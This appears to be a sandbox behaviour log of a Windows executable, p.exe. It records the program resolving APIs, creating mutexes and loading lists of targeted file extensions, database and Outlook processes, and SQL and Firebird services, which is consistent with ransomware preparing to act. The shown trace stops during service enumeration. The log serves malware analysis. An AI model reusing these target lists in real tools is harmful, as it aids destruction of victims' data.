# Flog Txt Version 1
# Analyzer Version: 3.0.2
# Analyzer Build Date: May 15 2019 18:28:42
# Log Creation Date: 16.05.2019 23:06:33.321

Process:
	id = "1"
	image_name = "p.exe"
	filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p.exe"
	page_root = "0x410c4000"
	os_pid = "0xa40"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "analysis_target"
	parent_id = "0"
	os_parent_pid = "0x0"
	cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p.exe\" "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1
	os_tid = 0xa44

	[0078.658] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000
	[0078.659] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222
	[0078.659] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0
	[0078.659] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee
	[0078.659] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442
	[0078.659] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileW") returned 0x76c49af0
	[0078.659] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2
	[0078.660] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950
	[0078.660] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileAttributesW") returned 0x76c31b18
	[0078.660] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10
	[0078.660] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223
	[0078.660] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e
	[0078.660] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameA") returned 0x76c4b6e0
	[0078.660] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexW") returned 0x76c3424c
	[0078.660] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700
	[0078.660] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b
	[0078.660] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809
	[0078.660] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136
	[0078.660] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDrives") returned 0x76c35371
	[0078.660] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c
	[0078.660] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3
	[0078.660] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d
	[0078.660] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916
	[0078.660] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff
	[0078.660] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270
	[0078.661] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3
	[0078.661] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c
	[0078.661] GetProcAddress (hModule=0x76c20000, lpProcName="OpenMutexW") returned 0x76c35151
	[0078.661] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0
	[0078.661] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForMultipleObjects") returned 0x76c34220
	[0078.661] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpiW") returned 0x76c4d5cd
	[0078.661] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpiA") returned 0x76c33e8e
	[0078.661] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5
	[0078.661] GetProcAddress (hModule=0x76c20000, lpProcName="ReleaseMutex") returned 0x76c3111e
	[0078.661] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410
	[0078.661] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467
	[0078.663] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5
	[0078.669] GetProcAddress (hModule=0x76c20000, lpProcName="ExpandEnvironmentStringsW") returned 0x76c34173
	[0078.669] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725
	[0078.669] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceFrequency") returned 0x76c341f0
	[0078.669] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8
	[0078.669] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileAttributesW") returned 0x76c4d4f7
	[0078.669] GetProcAddress (hModule=0x76c20000, lpProcName="GetVolumeInformationW") returned 0x76c4c860
	[0078.669] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282
	[0078.669] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807
	[0078.669] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e
	[0078.669] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435
	[0078.669] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9
	[0078.669] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e
	[0078.669] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026
	[0078.669] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9
	[0078.669] GetProcAddress (hModule=0x76c20000, lpProcName="CreatePipe") returned 0x76cb415b
	[0078.669] GetProcAddress (hModule=0x76c20000, lpProcName="SetHandleInformation") returned 0x76c4195c
	[0078.670] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d
	[0078.670] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca
	[0078.670] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringA") returned 0x76c33c5a
	[0078.670] GetProcAddress (hModule=0x76c20000, lpProcName="OpenProcess") returned 0x76c31986
	[0078.670] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802
	[0078.670] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTime") returned 0x76c35a96
	[0078.670] GetProcAddress (hModule=0x76c20000, lpProcName="SystemTimeToFileTime") returned 0x76c35a7e
	[0078.670] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0
	[0078.670] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f
	[0078.670] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c
	[0078.670] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf
	[0078.670] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74d40000
	[0080.452] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d
	[0080.452] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad
	[0080.452] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6
	[0080.452] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d
	[0080.452] GetProcAddress (hModule=0x74d40000, lpProcName="OpenProcessToken") returned 0x74d54304
	[0080.452] GetProcAddress (hModule=0x74d40000, lpProcName="GetTokenInformation") returned 0x74d5431c
	[0080.453] GetProcAddress (hModule=0x74d40000, lpProcName="OpenSCManagerW") returned 0x74d4ca64
	[0080.453] GetProcAddress (hModule=0x74d40000, lpProcName="OpenServiceW") returned 0x74d4ca4c
	[0080.453] GetProcAddress (hModule=0x74d40000, lpProcName="CloseServiceHandle") returned 0x74d5369c
	[0080.453] GetProcAddress (hModule=0x74d40000, lpProcName="ControlService") returned 0x74d67144
	[0080.453] GetProcAddress (hModule=0x74d40000, lpProcName="QueryServiceStatus") returned 0x74d52a86
	[0080.453] GetProcAddress (hModule=0x74d40000, lpProcName="EnumDependentServicesW") returned 0x74d41e3a
	[0080.453] GetProcAddress (hModule=0x74d40000, lpProcName="EnumServicesStatusExW") returned 0x74d4b466
	[0080.453] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74f40000
	[0081.601] GetProcAddress (hModule=0x74f40000, lpProcName="SystemParametersInfoW") returned 0x74f590d3
	[0081.601] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75fd0000
	[0084.210] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46
	[0084.210] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77130000
	[0084.210] GetProcAddress (hModule=0x77130000, lpProcName="NtQuerySystemInformation") returned 0x7714fda0
	[0084.210] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74b50000
	[0084.302] GetProcAddress (hModule=0x74b50000, lpProcName="WNetCloseEnum") returned 0x74b52dd6
	[0084.302] GetProcAddress (hModule=0x74b50000, lpProcName="WNetOpenEnumW") returned 0x74b52f06
	[0084.302] GetProcAddress (hModule=0x74b50000, lpProcName="WNetEnumResourceW") returned 0x74b53058
	[0084.302] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75bc0000
	[0084.537] GetProcAddress (hModule=0x75bc0000, lpProcName="WSAStartup") returned 0x75bc3ab2
	[0084.537] GetProcAddress (hModule=0x75bc0000, lpProcName="socket") returned 0x75bc3eb8
	[0084.537] GetProcAddress (hModule=0x75bc0000, lpProcName="send") returned 0x75bc6f01
	[0084.537] GetProcAddress (hModule=0x75bc0000, lpProcName="recv") returned 0x75bc6b0e
	[0084.537] GetProcAddress (hModule=0x75bc0000, lpProcName="connect") returned 0x75bc6bdd
	[0084.537] GetProcAddress (hModule=0x75bc0000, lpProcName="closesocket") returned 0x75bc3918
	[0084.537] GetProcAddress (hModule=0x75bc0000, lpProcName="gethostbyname") returned 0x75bd7673
	[0084.537] GetProcAddress (hModule=0x75bc0000, lpProcName="inet_addr") returned 0x75bc311b
	[0084.538] GetProcAddress (hModule=0x75bc0000, lpProcName="ntohl") returned 0x75bc2d57
	[0084.538] GetProcAddress (hModule=0x75bc0000, lpProcName="htonl") returned 0x75bc2d57
	[0084.538] GetProcAddress (hModule=0x75bc0000, lpProcName="htons") returned 0x75bc2d8b
	[0084.538] GetProcessHeap () returned 0x4a0000
	[0084.538] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x20) returned 0x4b40a0
	[0084.538] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=15641820458) returned 1
	[0084.538] GetTickCount () returned 0x1c36d
	[0084.538] GetCurrentProcessId () returned 0xa40
	[0084.539] GetTickCount () returned 0x1c36d
	[0084.539] GetTickCount () returned 0x1c36d
	[0084.539] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x20) returned 0x4b40c8
	[0084.539] GetVersion () returned 0x1db10106
	[0084.539] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x7) returned 0x4a3688
	[0084.539] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4b0ba8
	[0084.539] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b0ba8, Size=0x20) returned 0x4b4118
	[0084.539] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4118, Size=0x40) returned 0x4b4688
	[0084.539] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4b48d8
	[0084.539] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_GZ31BMA") returned 0x0
	[0084.540] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_GZ31BMA") returned 0x84
	[0084.540] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a3688 | out: hHeap=0x4a0000) returned 1
	[0084.540] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0084.540] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4688 | out: hHeap=0x4a0000) returned 1
	[0084.540] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x7) returned 0x4a3688
	[0084.540] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4b0ba8
	[0084.540] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b0ba8, Size=0x20) returned 0x4b4118
	[0084.540] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4118, Size=0x40) returned 0x4b4688
	[0084.540] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4c48e0
	[0084.540] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_GZ31BMU") returned 0x0
	[0084.540] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_GZ31BMU") returned 0x88
	[0084.540] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a3688 | out: hHeap=0x4a0000) returned 1
	[0084.540] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0084.540] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4688 | out: hHeap=0x4a0000) returned 1
	[0084.540] GetVersion () returned 0x1db10106
	[0084.540] GetCurrentProcess () returned 0xffffffff
	[0084.540] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1
	[0084.540] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1
	[0084.540] CloseHandle (hObject=0x8c) returned 1
	[0084.540] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0
	[0084.540] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x3e8) returned 0x0
	[0084.540] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x14) returned 0x4a3688
	[0084.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4b0ba8
	[0084.541] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b0ba8, Size=0x20) returned 0x4b4118
	[0084.541] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4118, Size=0x40) returned 0x4b4688
	[0084.541] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4688, Size=0x80) returned 0x4b4688
	[0084.541] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4688, Size=0x100) returned 0x4b4688
	[0084.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x34) returned 0x4b4790
	[0084.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x4) returned 0x4b0798
	[0084.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x4) returned 0x4b07a8
	[0084.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4b07b8
	[0084.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4b0ba8
	[0084.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x4) returned 0x4b47d0
	[0084.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4b0bc0
	[0084.541] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b47d0, Size=0x8) returned 0x4b47d0
	[0084.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4b0bd8
	[0084.541] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b47d0, Size=0x10) returned 0x4b47d0
	[0084.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4b0bf0
	[0084.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4b0c08
	[0084.541] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b47d0, Size=0x20) returned 0x4b47d0
	[0084.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4b0c20
	[0084.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4b0c38
	[0084.541] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b0798, Size=0x8) returned 0x4b0798
	[0084.541] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b07a8, Size=0x8) returned 0x4b07a8
	[0084.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4b47f8
	[0084.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4b0c50
	[0084.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x4) returned 0x4b4808
	[0084.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4b0c68
	[0084.541] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4808, Size=0x8) returned 0x4b4808
	[0084.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d4900
	[0084.541] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4808, Size=0x10) returned 0x4b4808
	[0084.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d4918
	[0084.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4b4820
	[0084.541] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4808, Size=0x20) returned 0x4b4830
	[0084.541] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b0798, Size=0x10) returned 0x4b4808
	[0084.541] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b07a8, Size=0x10) returned 0x4b4858
	[0084.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4b0798
	[0084.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4d4930
	[0084.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x4) returned 0x4b07a8
	[0084.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d4948
	[0084.541] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b07a8, Size=0x8) returned 0x4b07a8
	[0084.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4b4870
	[0084.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4d4960
	[0084.542] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x4) returned 0x4b4880
	[0084.542] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d4978
	[0084.542] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4880, Size=0x8) returned 0x4b4880
	[0084.542] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4808, Size=0x20) returned 0x4d4ce8
	[0084.542] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4858, Size=0x20) returned 0x4d4d10
	[0084.542] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4b4858
	[0084.542] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4d4990
	[0084.542] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x4) returned 0x4b4808
	[0084.542] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d49a8
	[0084.542] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4808, Size=0x8) returned 0x4b4808
	[0084.542] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x14) returned 0x4d4d38
	[0084.542] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x14) returned 0x4d4d58
	[0084.542] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0084.542] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4688 | out: hHeap=0x4a0000) returned 1
	[0084.542] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fdf0 | out: lpWSAData=0x18fdf0) returned 0
	[0084.551] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d49c0
	[0084.551] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d49c0, Size=0x20) returned 0x4b4320
	[0084.551] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4320, Size=0x40) returned 0x4b46e0
	[0084.551] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b46e0, Size=0x80) returned 0x4b46e0
	[0084.552] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b46e0, Size=0x100) returned 0x4d5030
	[0084.552] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d49c0
	[0084.552] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d49c0, Size=0x20) returned 0x4b4320
	[0084.552] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4320, Size=0x40) returned 0x4b46e0
	[0084.552] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b46e0, Size=0x80) returned 0x4b46e0
	[0084.552] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b46e0, Size=0x100) returned 0x4d5138
	[0084.552] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4d49c0
	[0084.552] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x4) returned 0x4b46e0
	[0084.552] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d49d8
	[0084.552] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b46e0, Size=0x8) returned 0x4b46e0
	[0084.552] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x14) returned 0x4b46f0
	[0084.552] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b46e0, Size=0x10) returned 0x4b4710
	[0084.552] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x18) returned 0x4b4728
	[0084.552] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x1a) returned 0x4b4320
	[0084.552] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4710, Size=0x20) returned 0x4b4748
	[0084.553] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x1c) returned 0x4b4348
	[0084.553] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x16) returned 0x4b4770
	[0084.553] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x1a) returned 0x4b4370
	[0084.553] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4d49f0
	[0084.553] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x4) returned 0x4b46e0
	[0084.553] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40) returned 0x4d5240
	[0084.553] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b46e0, Size=0x8) returned 0x4b46e0
	[0084.553] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x3c) returned 0x4d5288
	[0084.553] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b46e0, Size=0x10) returned 0x4b4710
	[0084.553] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x14) returned 0x4d52d0
	[0084.553] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x18) returned 0x4d52f0
	[0084.553] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4710, Size=0x20) returned 0x4d5310
	[0084.553] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x24) returned 0x4d5338
	[0084.553] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81
	[0084.553] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d5030 | out: hHeap=0x4a0000) returned 1
	[0084.553] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102
	[0084.553] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d5138 | out: hHeap=0x4a0000) returned 1
	[0084.553] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4d58b8
	[0084.556] EnumServicesStatusExW (in: hSCManager=0x4d58b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 0
	[0084.557] GetLastError () returned 0xea
	[0084.557] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x11e4) returned 0x4d91b8
	[0084.557] EnumServicesStatusExW (in: hSCManager=0x4d58b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4d91b8, cbBufSize=0x11e4, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4d91b8, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 1
	[0084.558] CloseServiceHandle (hSCObject=0x4d58b8) returned 1
	[0084.560] lstrlenW (lpString="Appinfo") returned 7
	[0084.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0084.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0084.560] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0084.560] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0084.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0084.560] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0084.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0084.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0084.560] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0084.560] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0084.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0084.560] lstrlenW (lpString="AudioSrv") returned 8
	[0084.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0084.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0084.560] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0084.560] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
